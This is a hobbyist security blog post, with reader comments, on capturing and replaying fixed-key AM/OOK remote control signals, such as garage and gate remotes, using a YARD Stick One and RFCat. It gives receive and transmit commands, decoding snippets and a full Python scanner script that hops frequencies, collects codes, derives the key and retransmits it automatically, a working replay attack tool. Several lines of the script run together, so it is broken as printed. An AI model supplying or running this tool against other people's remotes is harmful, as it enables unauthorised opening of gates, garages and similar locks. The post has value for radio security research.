AndrewNohawk
Coding Radio Security

Hacking fixed key remotes with (only) RFCat

Introduction

Its been absolutely ages since I’ve posted anything on the blog, not that I havent been doing things, just really not many things I felt good enough to write an entry about. I got a lot of feedback regarding my previous entry about Hacking Fixed key remotes and I decided to build on that slightly.

One of the pains of the previous method was that it was a rather tedious to do the following:

* Finding the key for the remote essentially it was broken into:

* Finding the signal with RTLSDR
* Saving demodulated .wav
* Running a script to decode that audio
* Replay remote with RFCat

* Transmitting the remote also meant another piece of hardware (RFcat) and then taking the signal from the decoded script into a format RFCat understands.

So much like the sex pistols album I am also going to be flogging a dead horse, this time the AM/OOK one. In this blog post I will explore discovering signals as well as replaying them with RFCat.

YardStickOnePacket

 

Hardware / Software

Michael Ossmann (@michaelossmann ) kindly sent me a YARDStickOne (YS1) to play with, previously I used the CC1111EMK to do the transmission, the yardstick has a number of features over that including:

* TX amplifier
* RX amplifier
* Extra LEDs
* IM-Me compatible programming pads
* GoodFET compatible programming/expansion header
* Dongle form factor
* SMA connector for external antenna
* Operates on all frequencies (280-960 MHz) instead of just one band
* Low pass filter allows clean operation in 800-900 MHz band (but doesn’t clean up some harmonics when operating in lower bands)
* CC-bootloader (so you dont need a goodfet/similar to flash updates!)

Using the hardware is the same as the Cc1111emk, you can simply download the RFCat libraries from their bitbucket . Startup using rfcat -r

The YardStickOnes look as follows:

yardstickone yardstickone-withantenna

Identifying signals

Before replaying the signal first I had to figure out how to receive them with the YS1. I loaded rfcat into the interactive shell and used the following commands (I already knew the frequency of the remote – 433.8mhz):

d.setFreq(433800000)
d.setMdmModulation(MOD_ASK_OOK)
d.setMdmDRate(4800)
d.setMaxPower()
d.lowball()
d.RFlisten()

At this stage you simply see a TON of garbled text scrolling through the screen:
Sorry for the gif’s, it seemed like a great idea at the time :(

randomdata

However when pressing the remote you will see the data changes somewhat:

rfcatwithremote

Now we can see that instead of the random FFFFFFF’s we have sequences of 0’s and then some data being sent. This only happens when I am pressing the button on the remote *huzzah* we have data.

Decoding Data

The next step was taking the data and managing to decode it. Initially I was a bit stumped as when I looked at the data I get values such as the following:

c000389c27708dce3738c427188c6e31380000000000000000000000000000000000000000000dc6271b8dc6f33b8c4e713bc423718cc6e31380000000000000000000000000000000000000000000de21389c4e371b9c627389ce3119c6231b8c6e000000000000000000000000000000000000000000037189c6e3709c6e7119dc2778846e3188de23700000000000000000000000000000000000000000001b8c4e371b84e3738c4ef139c423718c427109c0000000000000000000000000000000000000000000dc23709c4e371b9c62738dce211b8462338c4e000000000000000000000000000000000000000000027189c6e3719c6e71

So if I had to line them up I got the following out:

c000389c27708dce3738c427188c6e31380000000000000000000000000000000000000000000 dc6271b8dc6f33b8c4e713bc423718cc6e31380000000000000000000000000000000000000000000
de21389c4e371b9c627389ce3119c6231b8c6e0000000000000000000000000000000000000000000 37189c6e3709c6e7119dc2778846e3188de2370000000000000000000000000000000000000000000 
1b8c4e371b84e3738c4ef139c423718c427109c0000000000000000000000000000000000000000000 dc23709c4e371b9c62738dce211b8462338c4e0000000000000000000000000000000000000000000

The hex was all over the place and definitely not correct, I tried plotting them as I knew AM/OOK was going to be either a high or a low with a variance to see if I could match them up using matlibplot with the following code:

import matplotlib.pyplot as plt
 
x = range(0,38)
y = range(0,38)
 
line, = plt.plot(x,y,"-")
plt.ion()
plt.show()
plt.draw()
 
 
x = range(0,38)
line.set_xdata(x)
val = "c000389c27708dce3738c427188c6e31380000" # hex val
hex_list = list(val)
y = []
for hl in hex_list:
	y.append(int(hl,16))
line.set_ydata(y)
plt.draw()

This gave me the following graphs (of just the first 3 hex ‘keys’):

hex2 hex3 hex1

As much as I tried to tweek the hex values (and boy did I really try), this simply didn’t pan out. Additionally some of the hex strings were different lengths so they needed to be padded out to a common length. Just looking at the three I had:

c000389c27708dce3738c427188c6e31380000
dc6271b8dc6f33b8c4e713bc423718cc6e3138
de21389c4e371b9c627389ce3119c6231b8c6e

The very first one had to be padded to the same length as the others (38). So then I just used a bit of python to take the strings to bin:

binStrings  = ['c000389c27708dce3738c427188c6e31380000','dc6271b8dc6f33b8c4e713bc423718cc6e3138','de21389c4e371b9c627389ce3119c6231b8c6e']
for a in binStrings:
	print bin(int(a,16))[2:]

And from here I got the following:

11000000000000000011100010011100001001110111000010001101110011100011011100111000110001000010011100011000100011000110111000110001001110000000000000000000
11011100011000100111000110111000110111000110111100110011101110001100010011100111000100111011110001000010001101110001100011001100011011100011000100111000
11011110001000010011100010011100010011100011011100011011100111000110001001110011100010011100111000110001000110011100011000100011000110111000110001101110

Damn. I’m a little closer now, but it still seems like im not getting the signal correct (remember I’m receiving a LOT of these) — so I decided to take a larger sample set and got the following:

11011100011000100111000110111000110111000110111100110011101110001100010011100111000100111011110001000010001101110001100011001100011011100011000100111000
11011110001000010011100010011100010011100011011100011011100111000110001001110011100010011100111000110001000110011100011000100011000110111000110001101110
11011100011000100111000110111000110111000110111000110111101110001100010011100111000110111001110001100010001101110000100011000100011001110001000110011100
11011110001000110111000110011100010011100011011100011011100111000110001001110011100010011100111000110001000110111000110001100010001101111000100011011110
1100111000100001001110001101110001101110001100111000100111001110001000110011101110001100111011100011000100011001110001000110001100010011100011000100111
110011000010001101110001101110001101111000100111000110111001110001100010011100111000100111001110001000110001001110001100010001100011011100011000100111
1100010000000000011100011001100001001100001001110001001110011100010000100111001110001001110011100010001100010011100011000100011000110111000110001001110
110111000110001001110001101110001101110001100111000100111001110001000110011101110001101110011100011000100011011100011000110001000110111000010001101110
110111000110001001110001101110001101110001100111000100111001110001000110011101110001101110011100011000100011011100011000110001000110011100010001101110
110111000110001001110001101110001101110001100111000100111001110001000110011101110001101110011100011000100011011110001000110001100010011100010001101110
1101110000100011011100011011100011011100011001110001001110011100010000100111011110001001110011100010001100011011100011000100001000110111000110001101110
110111000110001001110001101110001101110000100111000100111001110001000010011101110001101110011100011000100011011110001000110001000010011100011000100111
11011100011000100111000110111000110111000110011100010011100111000100001001110111000010011100111000100001000110111000110001100010001101110001100010011100
10011100010001100111000100111000110111000110111000010011101110000100011011100111000110111001110001100010001101110001100010001100011011100011000100111000
11011100011000100111000110111000010011100010011100011011100111000110001001110111100010011101110001100011000100111000110001000110001101110001100010011100
11011100011000100111000110111000110111000110011100010011100111000110001001110111000110011101110001100011000100111000110001000110001001110001100010011100
1001110001100010011100011011100011011100011011100001001110111100010001101110011100011011100111000110001000110111000010001100010001100111000100011011100
1101110000100010011100011011100011001100001001110001001110011000010001101110011100011011100111000110001000110111000110001000010001101110001100011011100
1101110001100010011100011011100011011100001001110001001110011100010000100111001110001001110011100010001100011011100011000100001000110111000110001101110
10011100010000100111000110111000110111000110011100010011100111000100001001110111100010011100111000100001000110111000110001100010001101111000100011011100

After staring at this for a while eventually you start seeing ‘rows’ of 1’s and 0’s lining up if you just pad them slightly. I was definitely onto something. In the end because I had enough data I simply ‘normalised’ it by taking each ‘column’ finding if their were more 1’s or 0’s and using that as the value for my key (ie, if there are 10 1’s and 3 0’s for the first bit then I will use a 1 for that field). Converting that back to hex gave me the correct key!

Finally at this stage I was able to view data, graph it and display it! Essentially taking out all the steps that I had previously done with the RTLSDR. Now simply to replay the attack!

Replaying the attack is definitely the easiest with both RFCat and the YS1 working seamlessly, infact transmitting is as simple as doing the following commands:

setMdmModulation(MOD_ASK_OOK)
setFreq(frequency)
makePktFLEN(keyLen)
setMdmDRate(baudRate)

Where the frequency, keyLen and baudRate (usually 4800/9600) naturally depend on what you have received at what freq and the size of the key you have decoded.

Overkill

Naturally I like to take things too far and I was getting rather frustrated having to go through the effort of finding each of the individual frequencies for a my remotes and then starting this process, so what I wrote is a simple AM/OOK scanner that will hop (unless you disable it) through the frequencies and stop as soon as it picks up multiple transmissions of keys and allow you to either continue hopping or stop there. Once it has collected the keys and you tell it to continue it will then normalise these keys and then try and replay what was sent at the correct frequency.

PWM Scanner

This of course allows you to automagically scan, view and replay all your AM/OOK goodness:

AM/OOK Scanner scanner2

 

 

Code

I’m slowly learning to use GitHub so you can simply grab it from: https://github.com/AndrewMohawk/RfCatHelpers/blob/master/PWMScanner.py

(I realise its super hacky code, but it works ^_^, feel free to refactor!)

#!/usr/bin/env python
 
import sys
import time
from rflib import *
from struct import *
import argparse
import bitstring
import re
import operator
import numpy as np
import matplotlib.pyplot as plt
from collections import Counter
import datetime as dt
import select
import tty
import termios
 
 
 
chr = 0
keyLen = 0
baudRate = 4800
frequency = 433855000
repeatNum = 25
 
def ConfigureD(d):
	d.setMdmModulation(MOD_ASK_OOK)
	d.setFreq(frequency)
	d.makePktFLEN(keyLen)
	d.setMdmDRate(baudRate)
	#d.setMaxPower()
	d.lowball()
 
	if(results.verbose == True):
	  print "[+] Radio Config:"
	  print " [-] ---------------------------------"
	  print " [-] MDMModulation: MOD_ASK_OOK"
	  print " [-] Frequency: ",frequency
	  print " [-] Packet Length:",keyLen
	  print " [-] Baud Rate:",baudRate
	  print "[-] ---------------------------------"
 
print ""
print "######################################################"
print "#                PWM Scanning with RFCat             #"
print "#                                                    #"
print "#                  @AndrewMohawk                     #"
print "#           http://www.andrewmohawk.com              #"
print "#                                                    #"
print "######################################################"
print ""
parser = argparse.ArgumentParser(description='Simple program to scan for PWM OOK codes',version="RFCat PWM Scanner 0.01 - by Andrew MacPherson (www.andrewmohawk.com) / @AndrewMohawk ")
parser.add_argument('-fa', action="store", default="433000000", dest="startFreq",help='Frequency to start scan at, defaults to 433000000',type=long)
parser.add_argument('-fb', action="store", default="434000000", dest="endFreq",help='Frequency to end scan at, defaults to 434000000',type=long)
parser.add_argument('-fs', action="store", default="50000", dest="stepFreq",help='Frequency step for scanning, defaults to 50000',type=long)
parser.add_argument('-ft', action="store", default="1000", dest="timeStepFreq",help='Frequency step delay, defaults to 1000 milliseconds',type=long)
parser.add_argument('-vv', action="store_true", dest="verbose", default=False,help='Verbose output')
parser.add_argument('-a',action="store_true", default=False,help='Automatically replay after collecting')
parser.add_argument('-br', action="store", dest="baudRate",default=4800,help='Baudrate to transmit at, defaults to 4800',type=int)
parser.add_argument('-r', action="store", dest="repeat", default=15,help='Amount of times to repeat when transmitting, defaults to 15',type=int)
parser.add_argument('-p', action="store", dest="paddingZeros", default=15,help='Amount of repeated zeros to search for when looking for patterns',type=int)
#parser.add_argument('-g',action="store_true",dest="showGraph", default=False,help='Show graph of data')
parser.add_argument('-ms', action="store", dest="minimumStrength", default=-80,help='Minimum strength, defaults to -80',type=int)
parser.add_argument('-ln', action="store", dest="lockNum", default=5,help='Minimum `codes` to receive before locking',type=int)
parser.add_argument('-rp', action="store_true", dest="replayKey", default=True,help='Replay most common code automatically, default true')
results = parser.parse_args()
 
currFreq = results.startFreq;
repeatNum = results.repeat
frequency = currFreq
sys.stdout.write("Configuring RFCat...\n")
d = RfCat()
ConfigureD(d)
allstrings = {}
lens = dict() 
lockOnSignal = True
lockedFreq = False
 
'''
if (results.showGraph == True):
	x = range(0,38)
	y = range(0,38)
	line, = plt.plot(x,y,"-")
	plt.ion()
	plt.show()
	plt.draw()
	x = range(0,38)
	line.set_xdata(x)
'''
def spinning_cursor():
    while True:
        for cursor in '|/-\\':
            yield cursor
 
spinner = spinning_cursor()
BOLD = '\033[1;37;40m'
ENDC = '\033[0m'
RED = '\033[1;31;40m'
BLUE = '\033[1;34;40m'
GREEN = '\033[1;32;40m'
YELLOW = '\033[1;33;40m'
WHITE = '\033[1;37;40m'
LIGHTBLUE = '\033[1;36;40m'
 
 
 
print "Scanning for AM/OOK Remotes... Press " + BOLD + WHITE + "" + ENDC + " to stop and "  + BOLD + WHITE + " any key" + ENDC + " to continue\n"
 
def isData():
    return select.select([sys.stdin], [], [], 0) == ([sys.stdin], [], [])
 
old_settings = termios.tcgetattr(sys.stdin)
tty.setcbreak(sys.stdin.fileno())
 
def showStatus():
	sys.stdout.write('\r' + BOLD +  ENDC + "[ " + BOLD + YELLOW)
	sys.stdout.write(spinner.next())
	strength= 0 - ord(str(d.getRSSI()))
	sigFound = "0"
	if(currFreq in allstrings):
		sigFound = str(len(allstrings[currFreq]))
	sys.stdout.write(ENDC + ' ] Freq: [ ' + LIGHTBLUE + str(currFreq) + ENDC + ' ] Strength [ ' + YELLOW + str(strength) + ENDC + ' ] Signals Found: [ ' + GREEN + sigFound + ENDC + " ]" )
	if(lockedFreq == True):
		sys.stdout.write(ENDC + RED + " [!FREQ LOCKED!]" + ENDC)
	#else:
	#	sys.stdout.write(" " * 30)
	#sys.stdout.write(" " * 10)
	#yes, i know, icky!
	sys.stdout.flush()
	#sys.stdout.write("\n- Press Any Key to End Scan -");
 
n1=dt.datetime.now()
 
 
 
while True:
	try:
		if isData():
			x= ord(sys.stdin.read(1))
			if (x == 3 or x == 10):
				break
			elif(x == 32):
				print "unlocking";
				currFreq += results.stepFreq
				lockedFreq = False
		y, t = d.RFrecv(1)
		sampleString=y.encode('hex')
		# lets find all the zero's
		showStatus();
		#print "Received:  %s" % (y.encode('hex'))
		zeroPadding = [match[0] for match in re.findall(r'((0)\2{25,})', sampleString)]
		for z in zeroPadding:
			currLen = len(z)
			if currLen in lens.keys():
				lens[currLen] = lens[currLen] + 1
			else:
				lens[currLen] = 1
		sorted_lens = sorted(lens.items(), key=operator.itemgetter(1), reverse=True)
		lens = dict()
		if(sorted_lens and sorted_lens[0][0] > 0 and sorted_lens[0][0] < 400): zeroPaddingString = "0" * sorted_lens[0][0] #print "zeros used in padding: " , zeroPaddingString possibleStrings = sampleString.split(zeroPaddingString) possibleStrings = [s.strip("0") for s in possibleStrings] #print possibleStrings for s in possibleStrings: if(currFreq in allstrings): allstrings[currFreq].append(s) else: allstrings[currFreq] = [s] if((len(allstrings[currFreq]) > results.lockNum) and lockOnSignal == True):
					lockedFreq = True
 
		n2=dt.datetime.now()
		if(((n2-n1).microseconds * 1000) >= results.timeStepFreq):
			if(lockedFreq == False):
				currFreq += results.stepFreq
				if(currFreq > results.endFreq):
					currFreq = results.startFreq
				n1=dt.datetime.now()
				d.setFreq(currFreq)
 
	except KeyboardInterrupt:
		break
	except ChipconUsbTimeoutException:
		pass
 
termios.tcsetattr(sys.stdin, termios.TCSADRAIN, old_settings)
# hacky, but i wanna get rid of the line:
print "\r" + (" " * 150)
 
 
print "Scanning stopped, keys found in following frequencies:"
sortedKeys = sorted(allstrings, key=lambda k: len(allstrings[k]), reverse=True)
 
num = 1;
if(results.verbose == True):
	print "**VERBOSE** ALL keys found:"
	for sK in sortedKeys:
		currLen  = len(allstrings[sK])
		print num,": ",str(sK)," - Num signals Found:",currLen
		print "-----------------------------------------------"
		for verbose_key in allstrings[sK]:
			print verbose_key
		num=num+1
num = 1;
for sK in sortedKeys:
	currLen  = len(allstrings[sK])
	print num,": ",str(sK)," - Num signals Found:",currLen
	num=num+1
 
 
if(results.replayKey == True and len(sortedKeys) > 0):
	var = 200;
	while((var < 0) or (var > len(sortedKeys))):
		try:
			var = int(raw_input("Please enter key to use for replaying: "))
		except ValueError:
			pass
	allstrings = allstrings[sortedKeys[var-1]]
	d.setFreq(sortedKeys[var-1])
 
	for a in allstrings:
		currLen = len(a)
		if currLen in lens.keys():
			lens[currLen] = lens[currLen] + 1
		else:
			lens[currLen] = 1
 
	sorted_lens = sorted(lens.items(), key=operator.itemgetter(1), reverse=True)
	if len(sorted_lens) > 0:
		searchLen = sorted_lens[0][0]
		if(results.verbose == True):
			print "\nFound most keys in string have a length of " + str(searchLen) + " using those keys to calculate common key."
		foundKeys = []
		for a in allstrings:
			if(len(a) == searchLen):
				foundKeys.append(bin(int(a,16))[2:])
		 #print bin(int(a,16))
 
 
		maxlen = 0;
		for foundKey in foundKeys:
			if len(foundKey) > maxlen:
				maxlen = len(foundKey)
		#print maxlen
		for i in range(0,len(foundKeys)):
			if(len(foundKeys[i]) < maxlen): foundKeys[i] = foundKeys[i] + ("0" * (maxlen - len(foundKeys[i]))) finalKey = ""; for charPos in range(0,maxlen): total = 0; for i in range(0,len(foundKeys)): thisChar = foundKeys[i][charPos] total += int(thisChar) if(total > (len(foundKeys) / 2)):
				finalKey += "1"
			else:
				finalKey += "0"
		if(results.verbose == True):
			print "\nUsing Final Key as:"
			print BOLD + "BIN:" + ENDC + str(finalKey)
 
		key_packed = bitstring.BitArray(bin=finalKey).tobytes()
 
		keyLen = len(key_packed)
 
		print "[+] Key len:\n\t",keyLen,""
		print "[+] Key:\n\t", key_packed.encode('hex')
		print "[+] Freq:\n\t", str(sortedKeys[var-1])
 
		d.makePktFLEN(keyLen)
 
		print "[+] Transmitting key: ",repeatNum," times"
		barSize = 50
		for i in range(0,repeatNum):
			d.RFxmit(key_packed)
			progress = (float(i+1)/repeatNum)
			progVal = int(round(progress * barSize))
			progressBar = ("#" * progVal) + (" " * (barSize - progVal))
			sys.stdout.write("\r\tPercent: [ " + str(progressBar) + " ] " + str(int(progress * 100)) + "%")
			sys.stdout.flush()
 
		sys.stdout.write("\nDone.\n")
 
 
else:
	print "\n\nNo keys found :(\nbye."

Comments

  1. Interested in selling a wotking prptotype to sweden? Im working with security and would love to get my hands on one of these. Hope you can help me.

    Best regards Nicklas

  2. 从百度点进来的,支持一下

  3. Thank you very much for your article.

    Can the YARD-Stick (CC1111) be programmed with the GoodFET?

  4. Could you put a better PWMScanner.py script, in github disappear and from web something is wrong?
    Thank you

  5. […] get started with YARD Stick One, I recommend atlas’svideos along with severalblogposts written by early adopters of RfCat. You’ll notice that, even though the users of […]

  6. Every time I run the script it works fine until I try to transmit the locked frequency.. Then I get:

    foundKeys.append(bin(int(a,16)))
    ValueError: invalid literal for int() with base 16: ”

    Any ideas?

    • @Buck, If you can just print what ‘a’ is when you get the error, it should just work, its literally just converting to hex, it could be that it captured incorrect data in the previous step, but I cant see why it wouldn’t be able to convert.

  7. I just want to say thanks for posting your code on Github. You saved days or even weeks or work.

  8. Big thank You.

    I’m developing CC1111 software to open my Nice FLO gate. Your scripts were helpful to test my implementation and to decode protocol.

  9. Hey Andrew,

    It’s been ages :)

    Drop me a mail sometime, would be nice to catch up!

  10. hi,can any one tell me what means this symbol folowgraphs in article?
    how can unlock remote code signals by hackrf? by rfcat?

  11. As regards to script errors (if you copy the script from web) :
    You have to look to line 159 (if len….)
    You will notice that more than 1 line are stuffed into on line :

    code.code.code.code.#comment.code..if..else…#comment.code..if..if..else…

    So the only error is that somehow here lines are stuffed into one line and if you have to have a working script, simply divide the lines. It’s a little tricky as there are if statements inside other if statements so you don’t know how much if phases inside is which , but if you read the whole code and try it a few times it should work. Nice way for learning and practicing python by the way ;)
    Andras Kertai , Slovenia

  12. […] these codes is pretty useful. If you are unsure feel free to check out the previous entries on Hacking fixed key remotes with (only) RFCat […]

  13. Could RFCrack be used with a log file captured from a HackRF or LimeSDR?

    I assume the captured file would have to be demodulated (GRC?) and put in a format that RFCrack expects, but seems possible, no? Or is the demodulation (ASK, OOK, GFSK, 2-FSK, 4-FSK, MSK @ 300Mhz-1GHz) too involved?

    Thanks,
    Ben

  14. […] get started with YARD Stick One, I recommend atlas’s videos along with several blog posts written by early adopters of RfCat. You’ll notice that, even though the users of […]

Leave a Reply to YARD Stick One简介 | skynineblog Cancel reply

Your email address will not be published. Required fields are marked *